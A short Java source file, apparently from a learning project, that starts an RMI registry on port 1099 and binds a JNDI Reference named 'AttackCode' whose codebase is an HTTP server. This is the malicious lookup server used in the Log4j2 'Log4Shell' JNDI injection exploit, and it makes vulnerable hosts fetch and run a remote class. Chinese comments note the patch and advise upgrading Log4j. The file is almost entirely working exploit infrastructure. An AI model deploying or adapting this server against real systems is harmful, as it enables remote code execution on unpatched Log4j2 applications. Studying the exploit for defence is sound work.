package com.yesep.learn.log4j2.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * 启动RMI服务
 * 目前，Apache Log4j 已经发布了新版本来修复该漏洞，请受影响的用户将
 * Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本
 * rmi----
 */
public class RmiServer {
    public static void main(String[] args) throws Exception {
        rmi_server_start();//启动RMI服务
    }

    public static void rmi_server_start() throws RemoteException, NamingException, AlreadyBoundException {
        LocateRegistry.createRegistry(1099);//rmi 端口
        Registry registry = LocateRegistry.getRegistry();
        // 定义远程服务
        // 远程连接到nginx http://127.0.0.1/AttackCode.class 执行该脚本
        Reference reference = new Reference("AttackCode", "AttackCode", "http://127.0.0.1");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        registry.bind("AttackCode", refObjWrapper);//注册服务名称
        System.out.println("-----服务器端启动成功....-----");
    }
}
